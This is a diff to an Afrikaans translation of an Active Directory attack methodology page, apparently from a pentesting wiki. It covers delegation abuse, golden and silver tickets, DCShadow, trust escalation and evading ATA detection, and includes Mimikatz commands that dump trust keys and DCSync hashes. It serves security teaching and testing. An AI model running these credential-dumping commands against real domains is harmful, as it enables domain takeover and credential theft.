Ook, as 'n MSSQL instansie vertrou word (databasis skakel) deur 'n ander MSSQL instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker 'n verkeerd geconfigureerde databasis vind waar hy opdragte kan uitvoer.\
|
||||
Ook, as 'n MSSQL instansie vertrou (databasis skakel) deur 'n ander MSSQL instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker 'n verkeerd geconfigureerde databasis vind waar hy opdragte kan uitvoer.\
|
||||
**Die skakels tussen databasisse werk selfs oor bosvertroue.**
|
||||
|
||||
{{#ref}}
|
||||
@ -285,7 +285,7 @@ abusing-ad-mssql.md
|
||||
### Onbeperkte Afvaardiging
|
||||
|
||||
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domein bevoegdhede op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
|
||||
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te boots met [Pass the Ticket](pass-the-ticket.md).\
|
||||
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te doen met [Pass the Ticket](pass-the-ticket.md).\
|
||||
Danksy beperkte afvaardiging kan jy selfs 'n **Drukbediener outomaties kompromenteer** (hopelik sal dit 'n DC wees).
|
||||
|
||||
{{#ref}}
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Beperkte Afvaardiging
|
||||
|
||||
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te boots om toegang tot sekere dienste in 'n rekenaar te verkry**.\
|
||||
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromenteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te boots om toegang tot sekere dienste te verkry.
|
||||
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te doen om toegang tot sekere dienste in 'n rekenaar te verkry**.\
|
||||
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromenteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te doen om toegang tot sekere dienste te verkry.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### Hulpbronne-gebaseerde Beperkte Afvaardiging
|
||||
|
||||
Om **SKRYF** bevoegdheid op 'n Aktiewe Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
|
||||
Om **WRITE** bevoegdheid op 'n Aktiewe Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Derdeparty sessies misbruik
|
||||
|
||||
As **ander gebruikers** **toegang** tot die **gecompromitteerde** masjien het, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te boots.\
|
||||
As **ander gebruikers** **toegang** tot die **gecompromitteerde** masjien het, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te doen.\
|
||||
Gewoonlik sal gebruikers die stelsel via RDP benader, so hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:
|
||||
|
||||
{{#ref}}
|
||||
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping Domein Geloofsbriewe
|
||||
|
||||
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** bevoegdhede kry, kan jy die **domeindatabasis** dump: _ntds.dit_.
|
||||
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** bevoegdhede kry, kan jy die **domein databasis** dump: _ntds.dit_.
|
||||
|
||||
[**Meer inligting oor DCSync aanval kan hier gevind word**](dcsync.md).
|
||||
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silwer Kaart
|
||||
|
||||
Die **Silwer Kaart aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaart** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
|
||||
Die **Silwer Kaart aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaart** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diens bevoegdhede** te verkry.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -401,7 +401,7 @@ silver-ticket.md
|
||||
|
||||
### Goue Kaart
|
||||
|
||||
'n **Goue Kaart aanval** behels dat 'n aanvaller toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
|
||||
'n **Goue Kaart aanval** behels 'n aanvaller wat toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
|
||||
|
||||
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer kaart aanval).
|
||||
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Groep
|
||||
|
||||
Die **AdminSDHolder** objek in Aktiewe Directory verseker die sekuriteit van **bevoegde groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegangsbeheerlys (ACL)** oor hierdie groepe toe te pas om ongeoorloofde veranderinge te voorkom. Hierdie kenmerk kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL verander om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die bevoegde groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongeoorloofde toegang toelaat tensy dit noukeurig gemonitor word.
|
||||
Die **AdminSDHolder** objek in Aktiewe Directory verseker die sekuriteit van **bevoegde groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegangsbeheerlys (ACL)** oor hierdie groepe toe te pas om ongeoorloofde veranderinge te voorkom. Hierdie kenmerk kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL aanpas om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die bevoegde groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongeoorloofde toegang toelaat tensy dit noukeurig gemonitor word.
|
||||
|
||||
[**Meer inligting oor AdminDSHolder Groep hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuutte** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** bevoegdhede en moet binne die **worteldomein** wees.\
|
||||
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuutte** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** bevoegdhede nodig en moet binne die **worteldomein** wees.\
|
||||
Let daarop dat as jy verkeerde data gebruik, baie lelike logs sal verskyn.
|
||||
|
||||
{{#ref}}
|
||||
@ -500,20 +500,20 @@ laps.md
|
||||
|
||||
## Bos Bevoegdheid Verhoging - Domein Vertroue
|
||||
|
||||
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromitering van 'n enkele domein potensieel kan lei tot die hele Bos wat gecompromitteer word**.
|
||||
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromitering van 'n enkele domein moontlik kan lei tot die hele Bos wat gecompromitteer word**.
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakeling tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
|
||||
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakel tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
|
||||
|
||||
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaart aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n dienskaart (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
|
||||
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaart aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n diens kaart (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
|
||||
|
||||
**Stappe**:
|
||||
|
||||
1. 'n **klient rekenaar** in **Domein 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Ticket Granting Ticket (TGT)** van sy **Domein Beheerder (DC1)** aan te vra.
|
||||
2. DC1 stel 'n nuwe TGT uit as die klient suksesvol geverifieer word.
|
||||
3. Die klient vra dan 'n **inter-realm TGT** van DC1 aan, wat nodig is om toegang tot hulpbronne in **Domein 2** te verkry.
|
||||
4. Die inter-realm TGT is versleuteld met 'n **vertrouensleutel** wat tussen DC1 en DC2 gedeel word as deel van die twee-rigting domein vertroue.
|
||||
4. Die inter-realm TGT is versleuteld met 'n **vertrouensleutel** wat tussen DC1 en DC2 as deel van die twee-rigting domein vertroue gedeel word.
|
||||
5. Die klient neem die inter-realm TGT na **Domein 2 se Domein Beheerder (DC2)**.
|
||||
6. DC2 verifieer die inter-realm TGT met sy gedeelde vertrouensleutel en, as dit geldig is, stel 'n **Ticket Granting Service (TGS)** uit vir die bediener in Domein 2 wat die klient wil benader.
|
||||
7. Laastens bied die klient hierdie TGS aan die bediener aan, wat versleuteld is met die bediener se rekening hash, om toegang tot die diens in Domein 2 te verkry.
|
||||
@ -527,7 +527,7 @@ As Domein A Domein B vertrou, is A die vertrouende domein en B die vertroude een
|
||||
**Verskillende vertrouende verhoudings**
|
||||
|
||||
- **Ouers-Kind Vertroue**: Dit is 'n algemene opstelling binne dieselfde bos, waar 'n kinderdomein outomaties 'n twee-rigting transitive vertroue met sy ouerdomein het. Essensieel beteken dit dat autentisering versoeke naatloos tussen die ouer en die kind kan vloei.
|
||||
- **Kruiskoppel Vertroue**: Bekend as "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot by die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
|
||||
- **Kruiskoppel Vertroue**: Bekend as "kortpad vertroue," word hierdie tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot by die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
|
||||
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig vir toegang tot hulpbronne in 'n domein buite die huidige bos wat nie deur 'n bosvertroue verbind is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
|
||||
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die byvoeging van nuwe domein bome aan 'n bos, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
|
||||
- **Bos Vertroue**: Hierdie tipe vertroue is 'n twee-rigting transitive vertroue tussen twee bosworteldomeine, wat ook SID filtrering afdwing om sekuriteitsmaatreëls te verbeter.
|
||||
@ -535,14 +535,14 @@ As Domein A Domein B vertrou, is A die vertrouende domein en B die vertroude een
|
||||
|
||||
#### Ander verskille in **vertrouende verhoudings**
|
||||
|
||||
- 'n Vertrouensverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief** wees.
|
||||
- 'n Vertrouensverhouding kan opgestel word as **bidireksionele vertroue** (albei vertrou mekaar) of as **een-rigting vertroue** (slegs een van hulle vertrou die ander).
|
||||
- 'n Vertrouensverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief**.
|
||||
- 'n Vertrouensverhouding kan as **bidireksionele vertroue** (albei vertrou mekaar) of as **een-rigting vertroue** (slegs een van hulle vertrou die ander) opgestel word.
|
||||
|
||||
### Aanvalspad
|
||||
|
||||
1. **Enumerate** die vertrouende verhoudings
|
||||
2. Kyk of enige **sekuriteitsprinsipaal** (gebruiker/groep/rekenaar) **toegang** tot hulpbronne van die **ander domein** het, dalk deur ACE inskrywings of deur in groepe van die ander domein te wees. Soek na **verhoudings oor domeine** (die vertroue is waarskynlik hiervoor geskep).
|
||||
1. kerberoast in hierdie geval kan 'n ander opsie wees.
|
||||
1. Kerberoast in hierdie geval kan 'n ander opsie wees.
|
||||
3. **Kompromenteer** die **rekeninge** wat deur domeine kan **pivot**.
|
||||
```
|
||||
Get-DomainTrust
|
||||
@ -557,16 +557,16 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Daar is **2 vertroude sleutels**, een vir _Child --> Parent_ en nog een vir _Parent_ --> _Child_.\
|
||||
> Jy kan die een wat deur die huidige domein gebruik word met:
|
||||
> Jy kan die een wat deur die huidige domein gebruik word, met:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
> ```
|
||||
|
||||
#### SID-History Inspuiting
|
||||
#### SID-History Injectie
|
||||
|
||||
Verhoog as Enterprise admin na die child/parent domein deur die vertroue met SID-History inspuiting te misbruik:
|
||||
Verhoog as Enterprise admin na die kind/ouer domein deur die vertroue met SID-History injectie te misbruik:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -574,7 +574,7 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit skryfbare Konfigurasie NC
|
||||
|
||||
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliseer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n child DC.
|
||||
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n kind DC.
|
||||
|
||||
**Koppel GPO aan wortel DC webwerf**
|
||||
|
||||
@ -592,11 +592,11 @@ Gedetailleerde analise kan gevind word in die bespreking oor [Golden gMSA Trust
|
||||
|
||||
Hierdie metode vereis geduld, terwyl daar gewag word vir die skepping van nuwe bevoorregte AD-objekte. Met SYSTEM regte kan 'n aanvaller die AD Schema wysig om enige gebruiker volledige beheer oor alle klasse te verleen. Dit kan lei tot ongemagtigde toegang en beheer oor nuutgeskepte AD-objekte.
|
||||
|
||||
Verdere leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Verder leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**Van DA na EA met ADCS ESC5**
|
||||
|
||||
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objekte om 'n sertifikaat sjabloon te skep wat verifikasie as enige gebruiker binne die woud moontlik maak. Aangesien PKI objekte in die Konfigurasie NC woon, stel die kompromittering van 'n skryfbare child DC die uitvoering van ESC5-aanvalle in staat.
|
||||
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objek om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI objek in die Konfigurasie NC woon, stel die kompromittering van 'n skryfbare kind DC die uitvoering van ESC5-aanvalle in staat.
|
||||
|
||||
Meer besonderhede hieroor kan gelees word in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenario's waar ADCS ontbreek, het die aanvaller die vermoë om die nodige komponente op te stel, soos bespreek in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -631,15 +631,15 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In hierdie scenario **jou domein** is **vertrou** op sommige **privileges** aan 'n hoof van 'n **verskillende domeine**.
|
||||
|
||||
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
|
||||
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **‘n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **‘n gebruiker van die vertrouende domein te benader om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Nog 'n manier om die vertroude domein te kompromitteer, is om 'n [**SQL vertroude skakel**](abusing-ad-mssql.md#mssql-trusted-links) te vind wat in die **teenoorgestelde rigting** van die domeinvertroue geskep is (wat nie baie algemeen is nie).
|
||||
‘n Ander manier om die vertroude domein te kompromitteer, is om 'n [**SQL vertroude skakel**](abusing-ad-mssql.md#mssql-trusted-links) te vind wat in die **teenoorgestelde rigting** van die domeinvertroue geskep is (wat nie baie algemeen is nie).
|
||||
|
||||
Nog 'n manier om die vertroude domein te kompromitteer, is om te wag op 'n masjien waar 'n **gebruiker van die vertroude domein toegang kan verkry** om in te log via **RDP**. Dan kan die aanvaller kode in die RDP-sessieproses inspuit en **toegang verkry tot die oorspronklike domein van die slagoffer** van daar.\
|
||||
‘n Ander manier om die vertroude domein te kompromitteer, is om te wag op 'n masjien waar 'n **gebruiker van die vertroude domein toegang kan verkry** om in te log via **RDP**. Dan kan die aanvaller kode in die RDP-sessieproses inspuit en **toegang tot die oorspronklike domein van die slagoffer** van daar verkry.\
|
||||
Boonop, as die **slagoffer sy hardeskyf gemonteer het**, kan die aanvaller vanuit die **RDP-sessie** proses **terugdeure** in die **opstartgids van die hardeskyf** stoor. Hierdie tegniek word **RDPInception** genoem.
|
||||
|
||||
{{#ref}}
|
||||
@ -655,8 +655,8 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Selektiewe Verifikasie:**
|
||||
|
||||
- Vir inter-woudvertroue, verseker die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang te verkry tot domeine en bedieners binne die vertrouende domein of woud.
|
||||
- Dit is belangrik om te noem dat hierdie maatreëls nie beskerm teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening nie.
|
||||
- Vir inter-woudvertroue, verseker die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang tot domeine en bedieners binne die vertrouende domein of woud te verkry.
|
||||
- Dit is belangrik om daarop te let dat hierdie maatreëls nie teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening beskerm nie.
|
||||
|
||||
[**Meer inligting oor domeinvertroue in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -678,20 +678,20 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Implementering van Misleidingstegnieke**
|
||||
|
||||
- Die implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit die skep van gebruikers met spesifieke regte of die toevoeging daarvan aan hoëprivilege groepe in.
|
||||
- Implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit in om gebruikers met spesifieke regte te skep of hulle aan hoëprivilege groepe toe te voeg.
|
||||
- 'n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Meer oor die ontplooiing van misleidingstegnieke kan gevind word by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identifisering van Misleiding**
|
||||
|
||||
- **Vir Gebruikerobjekte**: Verdagte aanduidings sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
|
||||
- **Algemene Aanduidings**: Die vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
|
||||
- **Vir Gebruikerobjekte**: Verdagte aanduiders sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
|
||||
- **Algemene Aanduiders**: Die vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
|
||||
|
||||
### **Om Ontdekkingsisteme te Omseil**
|
||||
|
||||
- **Microsoft ATA Ontdekking Omseiling**:
|
||||
- **Gebruiker Enumerasie**: Vermy sessie-evaluasie op Domein Beheerders om ATA ontdekking te voorkom.
|
||||
- **Tiket Vervalsing**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontduik deur nie na NTLM af te gradeer nie.
|
||||
- **Gebruiker Enumerasie**: Vermy sessie-evaluering op Domein Beheerders om ATA ontdekking te voorkom.
|
||||
- **Tiket Vervalsing**: Die gebruik van **aes** sleutels vir tiket skepping help om ontdekking te ontwyk deur nie na NTLM af te gradeer nie.
|
||||
- **DCSync Aanvalle**: Dit word aanbeveel om van 'n nie-Domein Beheerder uit te voer om ATA ontdekking te vermy, aangesien direkte uitvoering vanaf 'n Domein Beheerder waarskuwings sal aktiveer.
|
||||
|
||||
## Verwysings
|
||||
|
Loading…
x
Reference in New Issue
Block a user